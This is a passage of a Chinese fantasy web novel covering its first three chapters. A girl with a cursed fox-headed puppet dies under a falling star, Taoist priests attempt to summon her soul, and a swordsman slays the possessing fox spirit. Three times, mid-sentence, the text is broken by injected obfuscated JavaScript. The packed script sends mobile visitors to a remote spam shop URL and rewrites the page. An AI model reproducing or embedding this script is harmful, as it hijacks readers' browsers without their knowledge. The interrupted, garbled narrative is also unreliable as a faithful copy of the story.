《偷心木偶》 1. 第1章 囚梦 天保五年,初秋,中元夜。 明月已至中天,一片黄晕。清辉洒满整个武定侯府的后花园,廊下点起了流光溢彩的琉璃灯。 梁温玉倚坐在玉石小案前,捧着碟蛋黄酥,就着月色,小口小口抿着,唇角沾了酥屑,活像只偷吃东西的小猫。她睇了一眼身旁替她摇扇的丫鬟燕草,轻叹了口气。 “七月半,盂兰节……也不知阿娘孤身一人在那空荡荡的宅子里,会不会怕?” “侯爷这两日就归京了,定会带姑娘前去探望夫人的。” 梁温玉托着桃腮,垂头丧气地从怀里摸出个物件儿,沉甸甸的,放在手中无聊地把玩着。 那是个旧得不能再旧的木偶。 通体用樟木雕刻而成,连油漆都几乎剥落得差不多了。 若说有什么特别之处,便是它身体是人形,头却是狐狸模样,眉眼刻得栩栩如生,神态却似笑非笑,满是讥诮状。 一个月前,梁温玉从娘亲妆奁堆放着的珠翠底下看见了那双狭长的眼睛,顿时内心产生一股奇异的、难以言喻、无法抗拒的诱惑,引诱着她把它拿起,拂去上面的灰尘,揣进怀里。 纵然这娃娃古里古怪,可梁温玉还是喜爱得很,整日爱不释手,就连心事委屈也统统讲给这娃娃听。 “姑娘,快,快把这东西扔了吧!看着怪邪门的……”燕草表情古怪,忍不住小声嘟囔。 梁温玉怔了一下,“说什么呢,你瞧,它多好玩呀。” 说着,梁温玉轻扯背后的丝线机关,腹中竹簧震颤,牵动四肢藏的暗榫,发出一阵“嗒嗒”声,手臂随之上下左右地摆动起来。动作有些滑稽,逗得她忍不住捂嘴想笑。 “真是精巧!”梁温玉由衷地赞叹道。 一旁的燕草看了却脸色发白。 “姑娘!这东西可千万别给人看见,若是有人告诉侯夫人,你又要被罚去跪祠堂了。” 前些日子她才因为捉了毛毛虫放进胭脂盒吓哭三姐姐被罚跪了祠堂,可这回只是玩个娃娃呀,怎么就犯了规矩? 梁温玉把木偶搁在台子上,疑惑不解地问道。 “哼,别动不动就搬出主母娘子来压我。区区一个玩偶……有什么不妥吗?” 燕草打小在她娘蓝氏身边伺候,后来被指给了梁温玉做丫鬟,一向最贴心周到,忙劝慰小主人。 “……奴婢也是听去世的外婆说起过……这种木傀儡不吉利,是会引来妖魔降乩的邪物呢!” 燕草悄悄环望四周没有可疑的人,压低声音继续说道: “奴婢的外婆还说……大约二十年前,这种样式的木偶娃娃曾风靡过一阵子。据说是从前朝的宫廷里头流传出来的,尤其受大户人家的孩童喜欢呢。只是后来不知怎的,新皇登基之后就禁止工匠仿制,还下令把全城的木玩偶统统焚烧,渐渐就成了我们大晟的禁忌之物了……” 禁忌之物?那为何会出现在阿娘妆奁里? 梁温玉没有说话,凑近盯着那笑容诡异的狐脸娃娃,内心忽然咯噔了一下,蓦地想起一件离奇的事。 大约半个月前……她曾偶遇过一个奇怪的少年,那少年似乎也说过类似的话。 梁温玉陷入了沉思,记忆如拨云见雾般一点、一点在眼前浮现…… 小小的院子里,合抱的老槐树浓荫匝地,枝桠间系着的秋千正在“吱呀、吱呀”晃动。 梁温玉自娘胎里便带了热症,每月按例会回到武定侯外宅,由生母蓝氏亲自为她熬药来调理身体,一晃已经是第十四个年头。 那天,她身子好了许多,正和几个丫鬟在花园里嬉笑着荡秋千,阳光透过树叶的间隙淡淡照在脸上。 她向来胆子大,粉白的裙裾在半空里起落像朵飞扬的云,荡得高老高,也不怕从高处摔下来。 “姑娘,你昨夜没睡好,身上虚,小心点别跌下来。” “就是呀,外面有什么东西这么好看?”墙里的小丫鬟们在叽叽喳喳问着。 “才不告诉你们。” 那声音清脆娇嗔,紧接着又是一阵咯咯咯的轻声笑语从墙里传来。 珠儿、碧儿两个丫鬟用力一推,她的身子随着秋千腾起到半空,高出了院墙。 墙外的一切尽收眼底,路人形形色色,还有拿着冰糖葫芦叫卖的小贩,越看越觉得热闹有趣。一阵风吹过,目光正好落在那个人身上。 那是个清冷少年,站在老槐树下,花瓣缓缓掉在肩上,被他轻轻拂去。 少年身着粗布麻衣,腰间悬着拔漆黑的剑,看样子像是个落魄侠士。 可偏偏他生得那么好看。 那双黑白分明的眼睛,瞳仁像深不见底的墨,抬眼向她看来,竟让她一时忘了呼吸,全身僵住。 梁温玉一下失神,手里的木偶娃娃没拿稳荡出了墙外,正好掉在了少年的脚下。 慌忙追过去时,少年已经将那物什捡了起来,正翻来覆去端详着。 “这娃娃是我的,请你还给我。”她迟疑着,娇怯地伸出手。 少年目光冷冷地瞥向她,眼神中带着狂傲、审视、不屑,毫不掩饰地盯着她的脸看。完全没有想把手里的木偶归还的意思。 “你娘可是永定侯外室,姓蓝?” 少年开口,声音轻佻。 “你……你如何知晓?” “艳名最盛的,临沅城没第二个了。” “你、你放肆!谁许你在这里胡言乱语的。” 梁温玉又惊又怒。 眼前的人看着像个谪仙般的人物,没想到一开口竟如此冒犯无礼。 她自八岁起就养在侯府主母膝下,生母蓝氏向来安分守己,深居简出……外人鲜少有知道她亲娘身份的。这人怕不是瞄准她家富贵,过来望风踩点的盗贼吧? 梁温玉扬起小脸,凶巴巴地回瞪了回去。 少年目光冰冷,语气更加冰冷对着她道:“此乃不祥之物,你随身带着迟早会招来灾祸。” 如果眼神能杀人,他一定已经死了几百次了。 梁温玉咬牙切齿道:“还给我!” 他眉毛桀骜地一挑,继续说道: “姑娘你印堂发灰,乌云盖顶,若你不信在下今日所言,只怕一个月内要有血光之灾。” 这话一出,着实吓了她一跳,梁温玉瞬间气血上涌。 “你、你好大的胆子,居然敢诅咒本小姐!” 她不服气地上前一把抓住那人的手臂,想要抢回自己的娃娃。 “放手。”少年声音冷漠中带着压迫感。 “喂,你可知我爹爹是谁!再不还来,小心我喊人来教训你了。” 少年丝毫未动,梁温玉只觉得手上一震,登时便被一股力量弹得向后跌了出去,一屁股重重坐在地上,痛得她大叫:“你欺负人!” 趁其不备,从地上跳起来,抓住他的手臂狠狠上去咬了一口。 “你……你怎么咬人!” 少年手一松,将她甩开。木偶咚的掉在了地上,她拍了拍屁股的灰尘,弯腰捡起,朝少年离去的方向做了个鬼脸,宣告胜利一样蹦蹦跳跳地进了院子。 回忆到这里,梁温玉猛然惊起一身冷汗。心烦意乱地将那木偶脸朝下扣在小案上。 此时掠过一阵风,吹得园子里花枝乱颤,月亮也被云遮挡了大半。 “姑娘,变天了,回房休息吧。”燕草的话音未落,那阵风居然越刮越凶,花园里的草木纷纷倒下,连盛放糕点的小案都掀翻了。 梁温玉呆望着月亮,总觉得那云影上好像有个黑点在迅速变大、变亮。 她心中隐隐泛起不好的预感。 几个丫鬟七手八脚地弯腰捡东西,梁温玉也被风吹得迷了眼睛,原地揉着眼。 忽然一颗坠星从天际划过,火光赫然照天,朝着永定侯府砸落下来! “砰——!”地面瞬间陷落了个大洞。 剧痛和恐惧席卷全身,梁温玉感觉到热浪铺面,随即眼前一黑,失去了所有知觉。 再次睁开眼,四周都是漆黑浓稠的黑雾。 这是哪里? 寂静得只能听见自己的呼吸,她在黑暗中摸索,空间仿佛被无限放大,前方一片未知。 焦灼,恐惧,慌乱,乱糟糟地在她心里蔓延。明明她刚才还好端端坐在园子里赏月。 来不及了。 娘亲还在家里等着自己,还有小猫衔蝉……无论如何也要找到回去的那条路。 她茫然地四顾张望,大口喘着气,耳边传来竹簧空灵的“嗒,嗒——”像是开启神秘大门的咒语。 神光离合间,黑雾里出现一束红色的光,逐渐向她靠近。她害怕地双手挡住眼睛跪倒在地,瑟瑟发抖。 难道真的是母亲妆奁里的那只木偶招来了灾祸?她想哭,不安却压得她喘不过来气。 温玉,温玉…… 是谁在说话? “别怕,我在这里。” 那声音又轻又软,却是男子低沉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482571|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音,说不出的魅惑。 梁温玉透过指缝,眨了眨眼睛。一个红发的美少年自黑暗中走来,全身湿透,周身散着虚弱的光晕,如神祗般降临在她面前。 “呃……你是谁呀?” 面前的少年瞪大眼睛看着她,水滴沿着发丝滴下,苍白的脸写满慌乱。 “我是赤焰呀,你不认得我了?” 赤……焰?她摇摇头,压根没听过这个名字。 “……你知不知道,什么鬼地方?” 红发少年纤长的睫毛微微颤动,一双眼睛湿漉漉地看着梁温玉,藏着不安与脆弱,格外惹人怜惜,幽怨的小模样让她心生一丝怜惜。 “这里是我的梦境。” 梁温玉瞬间呆若木鸡,不知作何反应。 视线不经意由下而上打量面前的怪人。 他的脚隐藏在黑暗里,一身玄色的长袍,上面用金线绣着蔓草连枝……纹样有些眼熟。绸缎般的红发里露出的尖尖的双耳,轮廓如狐,还泛着莹光。 梁温玉灵光一现,脱口而出:“啊!你、你难道是那个木偶娃娃变的?” 红发少年点了点头,突然一把将她身子揽住抱在怀里。 “温玉,我终于找到你了。” 感受到他坚实的胸膛,梁温玉瞬间僵住,脸上一阵滚烫。 “救命!”她大叫着从他的怀抱里挣脱出来。 那叫赤焰的奇怪少年红着眼眶,眼泪似乎在眼眶里打转。 “温玉……我只剩下了一口气,好不容易才从那里逃出来,路上还被几只臭蝙蝠围攻!幸好,才从上面一掉下来就看见你了。” 他委屈巴巴地诉说着,下一秒居然又凑过来想要吻她! 梁温玉毫不客气地狠狠一巴掌扇了过去。 “哎呦!”那美少年挨了一巴掌,居然夸张的吐了一口血出来,然后颤颤巍巍地捂住胸口跪倒在地上。 呃……自己一巴掌什么时候威力变得这么大? “你没事吧?”她用脚尖踢了踢他,脚踝立刻被火热的手掌握住。 梁温玉死盯着赤焰的侧脸,越看越不对劲,只见不一会儿的功夫,他的身体开始抽搐,光洁白皙的皮肤逐渐长出一层绒毛来,两颗莹白尖利的牙齿也随之显露出来。 “妖怪啊啊啊!!!!” 梁温玉一脚把他踹开,拔腿便逃。 温玉,你为何也弃我而去……那声音虚弱又带着呜咽,像在无助地哭泣。 该哭的是她吧!明明自己在院子里赏月,突逢变故沦落此处,还要被这不知是水鬼还是狐妖的怪物轻薄。 一直跑到力气用光,终于听不见那渗人的呼唤声,梁温玉还是不敢回头看。 她此刻在想一个问题,如果自己真的在那妖怪的梦里,是不是永远也逃不出去了? 前方依然漆黑一片,梁温玉被看不见尽头的黑雾包围了,却不知,再向前走,就是冥河了。 一旦过了那条河,进入轮回,就再也无法回头。 此时的武定侯府,灯火通明,四周惨叫声此起彼伏,后院地面凹陷,草木皆焦,人们乱作一团,一双双脚在后花园匆匆来去,人人脸色惶恐。 一个时辰前,天降陨星,刚满十四岁的五小姐梁温玉死在了赏月之时。 如今世道不平,妖孽横生,大晟朝定都临沅后最忌讳此等动摇国本的不祥之兆。今晚怕是整个临沅城都看见了这异兆,明日若闹得满城风雨,侯爷巡营回来必定要大怒。 王氏身为永定侯府的当家主母,府中大小事宜向来由她一手把持。她没敢惊动秦老太君,只传了话,将府里几位管事的叔伯一并召至正厅,连夜商议对策。 燕草立在门后偷听了几句,越听脸色越是煞白。 “这是造的什么孽哟!中元夜里,血光冲宅,这是预示要有大灾祸啊。” “可怜这温玉丫头……打娘胎里就带了热毒,小小年纪的死于非命……” “唉,可也别连带着旁人都跟着遭殃……” “此事不宜声张,还是尽快送回她生母处,找道士来给驱邪为妙。” 武定侯府被层层包围得严实,下人们也被封了口,以免消息泄露。 趁着月黑风高,一架马车从后门悄悄驶出,载着梁温玉的遗体朝临沅城西边的永福巷奔驰而去。 那里有座僻静的宅子,似与外界隔绝。 也有传闻宅子的主人是个绝色女子,非婢非妾,连夜半的琵琶声都带着哀怨。 2. 第2章 招魂 次日,临沅城。 雷声闷闷地滚过,刚过晌午,热气从地面蒸腾上来,把人闷得胸口发堵,乌云遮蔽了半片天空,眼看大雨将至。街头巷尾的吆喝声此起彼伏,集市热闹非凡。 笕桥永福坊的巷口里,从角落走出一老一小两个道士,仿佛天外来客一般,出现在这个不属于他们的地方。 本朝道教昌盛,算命之风极为兴盛,也常有街头术士摆摊算卦,大户人家但凡有生老病死的大事请道士到家中祈福驱邪也不稀奇。 那老道身着深蓝色道袍,须发皆白,远看鹤骨仙风,离近看却面色酡红,脚步虚浮,浑身上下一股酒气,哪有半点得道高人的模样。 小道童生得黑瘦,一双眼睛却又精又灵。只见他背着个大书篓,怀里揣了本书,不停在翻动书页,边看边吟诵,还不忘替师父拎着个酒葫芦,满头大汗地跟在老道身后,边走边抱怨着辛苦、倒霉之类的话。 “师父,咱们无相宗是没人了么,还劳烦您老人家亲自下山。” “你这猢狲懂个屁!昨夜天象异常,似有大祸发生……侯爷家女娃娃出了事,我岂能坐视不理。” 老道打了个酒嗝,从那道童手里抢过快空了的葫芦,倒尽最后几滴,砸吧砸吧嘴,继续说道: “……偏偏今日赶上了你六师兄下山降妖。剩下你那几个废物师兄,本事还不如我这把老骨头呢!” 言罢,苍古道人东倒西歪地靠在徒儿身上,如同一滩烂泥。 面前的大门是楠木的,青砖的院墙古朴雅致,缀满青黄柑橘的枝丫从内伸展出来,可见有人精心收拾打理。 七宝对这扇门很是熟悉。 从前他只晓得,这家小姐自小热毒缠身,近两年都是他每月将师父配好的药送到门房。可每回他都是递下便走,从未多踏进一步。日子久了,心里藏着几分好奇,总想知道,这扇常年紧闭的大门里头,究竟什么样子。 他低头整理好自己的衣领,上前摇了摇苍古道人。 “师父,快醒醒!到地方了。” “吱呀”一声。门从里打开了。开门的是个身穿鹅黄衣衫的小丫鬟,同那道童年纪差不多大。 老道舌头有些打结,嚷嚷道:“贫道乃玄、玄清门,苍古道人是也,快快进去通报!” 鹅黄衣衫的丫鬟立即俯身行礼,神色慌张道:“夫人等候多时了,求老神仙快救救我家姑娘吧!” 七宝自小出家,也曾跟着几位师兄下山捉妖,但从未见过师父的神通。 看着苍古道人醉醺醺的模样,不禁捏了把汗,生怕师父待会儿胡言乱语连带自己也一起被赶出来。 二人穿过又长又窄的回廊,眼前豁然开朗。只见内庭有一小小池塘,池边垂柳依依,芳草葳蕤,沿路繁花似锦,芳香四溢,都是深谷名种。 苍古道人忽然低声道:“这宅子今日……似乎弥漫着妖气。”从怀里摸索半天,哆哆嗦嗦掏出个罗盘,却看不清上面的字。 “师父!您当心脚下。” 苍古道人双眼半睁半闭,一脚踩进一滩软烂的泥巴,费了番功夫才把脚拔了出来,尴尬地摸了摸胡子。 天色稍暗,乌云在昏暗的天边翻滚过来,几乎要压到檐下。远处传来几声乌鸦嘶哑的叫声,却在靠近这宅子时戛然而止。 二人绕过水榭,一女子从檐下迎面走来。 七宝看过去,张开嘴巴竟合不拢了,再也移不开眼。 她一身月白色软纱,身形高挑,行走时身姿轻盈如柳絮,仿佛能叫一阵风吹走,当真是步步生姿。 带路的丫鬟唤了声“夫人”,上前替蓝氏裹紧披风。 七宝这一看可不得了。 只见那女子,漆黑如墨的长发只用一根素簪子绾定,清瘦苍白的瓜子脸,右眼角一粒朱红的美人痣,宛若未干的泪痕,眼波流转间媚色入骨,身上暗暗散出一阵淡雅的香。 看得出她刚经历丧女之痛,此时只是强撑着一口气没倒下。 七宝此生也从没见过这样美的女子,霎时间忘了此行是随师父来救人的,呆呆看了好一会,心里不由得羡慕起武定侯来。 蓝氏走近了,抓住苍古道人的衣袖直直跪下去,眼里含泪哀求道:“真人,求您救救小女。” 苍古道人口中含糊不清地应了句:“一定、一定!”然后身子一晃,酒气涌上来干呕了两下。 看着师父狼狈不堪的样子,七宝涨红了脸,上前用力搀扶起苍古道人,心中暗暗祈求他老人家快些酒醒。 师徒二人随蓝氏主仆进了最西边的院子,门口匾额上书“广庭阁”三个字。 外面天光正亮,里屋的门窗却给封了个严实,几乎透不进光,只有屋顶的一角有个一尺见方的天窗,刚一进去,七宝的视线就被一扇乌檀木卷帘屏风给挡住了。 “……燕草,留下伺候。其他人没我吩咐不准进来。” 待旁人退去,方才的黄衫丫鬟上前移开屏风,燃起一盏火烛。 微弱的烛光下,宽敞大堂内,靠窗的软榻上静静躺着一个女孩,肌肤呈现出一种不自然的死白,双目紧闭,一动不动。 她胸前有一颗如水滴般剔透的珠子,发出淡淡萤光,乃是苍古道人为了给她压制热症所赠的法宝——枕梦璃。 蓝氏神情木然,只是走到榻前将女孩的头托在怀中,轻声唤她:“阿玉,阿玉。” 七宝借着灯光瞧清她的脸,心想:“这五小姐也大不了自己几岁,倒像极了她娘亲,生得真美,不知师父有没有能耐救得了她。” 苍古道人眼神迷离地掐指一算,叹了口气说道: “……贫道曾说过,令千金是天生的乱魔命,加上一股不明的热症缠身,从小就体弱多病,失眠易梦。原以为有这法宝镇着,至少可她保半生平安。没想到如今豆蔻年华突然暴毙,当真可惜……” 燕草啜泣道:“道长,昨晚正巧是中元节……我家姑娘偏要去赏月。没想到天上竟突然掉下个着了火的陨星,正好砸中了姑娘!大夫也说救不活了,这才派人送回了永福巷。求您再想想办法吧!” 苍古道人伸指探了弹女孩的鼻息,发觉早已气绝。 温玉……原本应该像这玉珠一样温润如玉、长命无忧。 枕梦璃还有着微弱的光芒,兴许有这法宝替她挡了,勉强保住三魂七魄的最后一魄,肉身才会死而不僵。 “您一定有法子救活阿玉的。” 苍古道人脸色凝重,摇摇头说道:“保不住啦!小千金心脉尽断,纵有灵丹妙药也回天乏术。” 蓝氏身子一软,跪倒在地求道:“真人,求你救救小女。若是阿玉去了,我也不活了……”话未说完,已是泣不成声。 苍古道人把酒葫芦里最后一口酒喝掉,似乎下了某种决心,重重叹了口气道:“……她的魂魄如今在冥界徘徊,若要强行续命,只有一个险招,便是为其招魂。” 七宝吓了一跳:“师父,此法稍有差池会被反噬,连施法者也会有性命之忧。” 苍古道人摆了摆手,看向蓝氏柔弱无助的黑眸,原本涣散的目光突然清明起来,缓缓说道: “我道家并无起死回生之术……这招魂之术乃南疆禁术,一旦失败只会让她魂魄不宁,难以轮回做人。以贫道道行仅有一成的把握,试与不试请夫人尽快定夺。”说罢便捋了捋胡须,半闭上眼睛。 蓝氏面容惨白,眼睛噙满泪水,未有半分犹豫,死死咬着嘴唇扑通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482572|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声跪地。 “请真人尽力一试,救救小女。” 苍古道人命七宝将招魂所需的法器备齐。算好了时辰,立于香案之前,手中浮尘一挥,阵中的八道符纸同时燃起。淡青色的火光顺着八门方位缓缓流转,十四只香烛也瞬间被点亮。 随着口中低诵咒语,阴风骤起。 “徒儿,递酒来!” 抓起酒坛,苍古道人头一仰,对嘴便大口大口往喉咙里灌,酒水溅湿他的衣襟,酒坛一抛,醉步踏出天罡。 梁温玉被置于法阵中央,烛火忽明忽暗,把她的脸映成诡异的红色。 “三魂归体,七魄来还——” 随着一声低喝,游魂从四面八方飞来,梁温玉的身体出现阵阵异动。 法阵坚持了一炷香的时间,只待安魂定魄,便算功成。 突然,从梁温玉的胸前,出现一个逐渐放大扭曲的虚影。燕草失声尖叫起来,顺着她手指着的方向看去,只见那影子映在墙壁上赫然是一个狐脸的形状! 赤色的狐影缓缓笼罩住整个房间,屋内瞬间煞气大盛。 “不好!” 七宝看见被召回的几缕游魂居然被那狐影发出的光芒排斥在女孩的身体之外。 苍古道人面色铁青,祭出金铃法器。随着清越的铃声响起,那狐影突然分裂出几百上千个,黑压压地朝他袭来。七宝眼睁睁看着师父身形一晃,下一秒,竟然直直倒了在地上。 十四只蜡烛也在一瞬间熄灭了。 “师父,师父!”七宝冲上去拼命摇晃他的身体,没半点反应。 苍古道人紧闭双眼倒在香案边,呼吸均匀,睡得十分香甜,竟醉晕了过去。 这招魂法术进行了一半,师父突然倒地不起,可该如何是好! 房间里的家具已经东倒西歪,屋内一片狼藉,枕梦璃发出的光越来越弱了。 七宝嗅到满屋浓烈妖气,慌忙躲进香案下面,额头沁出汗来。 他心想,我嘞个乖乖,哪来得这么厉害的妖怪,小道爷我今天是闯进妖窝了。不停慌张地翻着手里的书,想找个厉害点的咒语对付那狐影。 更糟糕的是,那通向冥界的法阵已被打开,没有苍古道人用法力压制,一时间怨气冲天,无数不得超生的怨灵和鬼魂从里面飞出,纷纷上前争夺梁温玉的肉身,却被那光芒强劲的狐影冲散。 屋内几人皆是惊惧万分,蓝氏更是死死抱着女儿的身体,不让她被怨灵吞噬。 千钧一发之际,房门被一脚踢开。 光照进昏暗的屋内,只见一人长身而立,白衣如雪,仿佛从云端降临人间,背后那柄剑却是漆黑的。 没待众人看清,那人凌空便是一掌朝狐影击去,破那了狐妖的隐遁术。光芒散去,一团黑雾中竟夹着尾巴跑出来一只火红色的狐狸。 少年目光冷如刀锋,浑身散发出生人勿近的凛冽杀气。 七宝瞬间大喜,大喊:“六师兄!你怎么来啦。” 少年偏过头,淡淡回了句:“看见你留的字条了。”声音如同他的人一样带着疏离的矜贵感。 只见少年径直走到醉得不省人事的苍古道人身边,法力凝结在掌心,缓缓输入老道的身体。 苍古道人张开眼,缓缓道:“唔,是昭儿啊。快,快、救人……”话音刚落,打了个醉嗝,又倒头睡了过去。 谢昭依旧面无表情,静静汇聚元神,寻找方才被他逼出原形的狐妖。那锐利的眼神让人生怯,仿佛他站在那就是一柄出鞘的利剑,没有任何人可以阻挡他的杀意。 却无人知道,早在他进门之时便一眼认出来,榻上躺着的就是那日为了报复抢走木偶娃娃,在他手臂上狠狠咬了一口的女孩。 3. 第3章 苏醒 枕梦璃已然黯淡无色,预示梁温玉的生命也即将走向尽头。 起风了,屋外的草木声动,伴随即将落下的雨,窗外落木簌簌作响,像是一场无声的告别。 “道长,我们姑娘死得冤枉,定是有人加害!不然那火球怎么就不偏不倚砸到我们院子里……”燕草跪倒在主人跟前,哭声凄厉。 火球?七宝突然脑筋一转,想到了什么,连忙解下背后的书篓,翻出一卷破烂的书简,众目睽睽之下开始查阅起来。 「大荒妖记·堕神篇」中、曾有记载:昔大荒有灵狐赤尾,孕千年真火,一朝破劫降世,万窟邪祟尽出。他不禁恍然大悟,那狐狸妖力纯正,绝非寻常精怪,乃是上古妖神赤尾! 七宝连忙凑到谢昭耳边,把这一发现兴奋地说给师兄听。 两人的目光同时落在那只受伤的妖兽身上。 妖神?就这? 赤尾被那猝不及防的一掌打伤,此时四肢摊开趴在地上,耳朵耷拉着,乌溜溜的眼睛看起来纯洁无辜,若不是七宝知晓它就是古书记载的妖神,看着倒真有几分软萌可爱。 趁二人不备,那赤尾身形忽然消失,身影瞬间移动到香案之上,所经之处的蜡烛竟瞬间被点燃了! 梁温玉的身子开始剧烈晃动,胸口猛地被一只无形的手扯起飞向了半空,在场之人见此一幕皆大惊失色。 她绾在头顶的发髻散开,一头长发倾泻下来。 赤尾发出尖锐的叫声,口中吐出一缕晶莹的白雾,进入她冰冷的毫无声息的唇中,随即化作一道细长细长的影子,覆盖住了那纤瘦的身体。 顷刻之间,梁温玉的睫毛微颤,身体竟开始有了复苏的迹象,只见她胸口微微起伏,眼皮颤动,像是要醒来。 窗外狂风大作,天色骤变,门窗顷刻间打开,房间内的家具摆设都跟着剧烈抖动起来。 谢昭大喝一声:“七宝,守住这间房!” 七宝从香案下钻了出来,冲过去死死抵住了门。 谢昭背后漆黑的湛泸剑终于出鞘,利刃反射的寒光映在他俊朗的脸上,竟然如修罗附体一般。 一道寒光闪过。 少年的脊背颤抖着,将剑尖直指被附身了的女孩。 万籁俱寂,梁温玉缓缓睁开眼睛,在半空之中与握剑的少年四目相对,散开的瞳孔重新凝结成漆黑的瞳仁。 看向他,短暂的只有一眼……美丽空灵的眼眸充满哀怜。 时间仿佛在这一刻凝固,区分不出是白天还是黑夜。 天地间,只剩下她和他。 谢昭深深呼吸,心底像被什么东西揪住了。 天边响起阵阵惊雷,云雾翻滚,大雨倾盆而下。 谢昭闭上眼睛,聆听着雨声,仿佛回到幼年被母亲抛弃在玄清观外的那个雨夜! 再次睁开眼,目光又恢复冷峻和坚定,口中继续念诵咒语,湛泸剑重新露出冷森森的寒芒,剑尖缓缓指向女孩的头顶。 “轰!”一声炸雷从天而降,刹那间,只见一道电光从漆黑的夜空中坠落下来,刹那间黑夜如同白昼,雷霆之力都汇集在剑尖之上。 剑影闪烁,伴随蓝氏凄厉的一声,地面瞬间裂开了大缝,红芒闪动,赤尾的灵体被拦腰斩成两截,即刻化作一阵轻烟消失不见。 梁温玉腾空的身子如失重般坠地,全身皮肉已经焦黑。 谢昭身躯颤抖着摇晃了几下,失去重心单膝跪倒在地,靠湛泸剑撑着才勉强没有摔倒。 “六师兄!你没事吧。”七宝急忙拿出一颗随身所带的丹药给他服下。 狂风把窗棂吹得格格作响,电闪雷鸣之声更加剧烈,豆大的雨点敲击着屋顶,顺着刚刚的被雷劈开的大洞倾注进来。 地上残存的火苗被如注倾泻的大雨熄灭成灰烬。 伴随着凄凉的雨声,蓝氏扑了上去,不停摇晃着女儿布满焦痕的身体,一遍遍擦拭着那张苍白稚嫩的脸,哭声悲恸。窗子飞溅进来的雨水浸湿了梁温玉的额发。 “阿玉,你不要吓娘,快醒醒阿玉……” 一切妖异之象此刻都消失了,仿佛刚刚所发生的只是幻梦一场。 忽然传来呓语声,一个仿佛来自梦境中的声音,让人听得并不真切。 “唔……好痛。” 那声音微弱,但千真万确是在喊着痛。 蓝氏整个人都怔住了,蓦然抬起头,泪水掉在梁温玉的脸颊上。 漆黑的梦境被剑气撕开了一个口子,梁温玉感受到滚烫的泪滴,还有那冰冷的手指在触碰自己的皮肤……很多段记忆如过马灯一般整合到了一起,梁温玉睫毛微颤,猛然睁开眼睛! 蓝氏小心翼翼地把梁温玉的头扶着,如同失而复得的珍宝,声音颤抖地一遍遍抚摸着女儿的脸颊。 她原本白纸一样的面孔,被抹去焦灰,逐渐恢复了血色。 “阿玉,你莫怕,阿娘在这!” 从那个漆黑的噩梦中脱困的她,胸口传来一阵钝痛,立刻贪婪地大口呼吸着空气。 蓝氏直到此刻见女儿开口说话,悬着的心才算放下,不禁喜极而泣。 “阿娘……你怎么哭了……我是不是睡了很久?” 旁边的燕草笑中有泪地道:“小姐,你已经睡了十几个时辰,夫人都要担心死了……” “阿玉,你差点没命,多亏了这位少侠舍命相救!”蓝氏说话间庆幸女儿死里逃生,泪珠仍滚滚落下。 梁温玉抬手替蓝氏把眼泪擦掉,眼光越过众多身影,落在那个握剑的少年身上……只一眼,她便认出了他是谁! 那双眼睛依旧寒冷如星,正死盯着自己。 梁温玉下意识摸了摸脸,差点以为自己毁了容。 这时她突然听见一个仿佛心底的声音在说。 小心,他要杀了你。 谁在说话?那声音听着像是从她肚子里发出来……莫非自己出现幻听了? 此时的梁温玉头发还带着烧焦的灰烬,面孔却已然恢复生机,玲珑莹白的小脸有些脏兮兮的,面颊潮红,十分娇俏。 额发被汗水浸湿,有一种奇异的令人不安的美,好像画本里走出的仙女娃娃一般。 湛泸剑仍旧对着女孩发出阵阵龙吟之声,谢昭皱紧眉头,双手紧紧握住剑柄,直视着女孩的双眸,感受到她体内发出异常强大的戾气。 一个念头从他脑海闪过。 赤尾真的被轻易斩杀了吗? 谢昭刚想上前查看,剑柄却被一只柔弱无骨的手握住了。 蓝氏鬓发凌乱,面对拔剑而来的少年,轻声说道:“少侠,你仁心厚德救活了阿玉,大恩大德,奴家和侯爷日后必定相报!” 正在此时,苍古道人从睡梦中悠悠转醒,打了个哈欠,喊了一声“昭儿”。 谢昭急忙收回了手里的剑,和七宝一起将苍古道人扶起。 苍古道人不知是真醉还是假醉,被徒弟扶着,踉跄着走到梁温玉跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482573|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前伸手为其搭脉,只见脉象平稳有力,确认性命已无大碍。 他细细瞧着她的脸庞,“这孩子可是遭了大罪。我六徒弟天生开了慧眼,能看到常人所看不见的妖魔鬼怪,方才这屋中确有一狐妖施展了幻术,差点附体在五小姐身上……” 梁温玉听了一惊,立刻想到梦里的红发少年,忙追问道:“道长爷爷,那狐妖可还在这里?” 苍古道人笑着摇了摇头。 “那妖孽已经伏诛了。”七宝眼中充满对谢昭的钦佩,叹道:“师父,你方才没亲眼看见,六师兄功力又精进了,一剑过去竟然把那赤尾给劈成两半,可威风了!看来《大荒妖记》所说也未全部可信…” 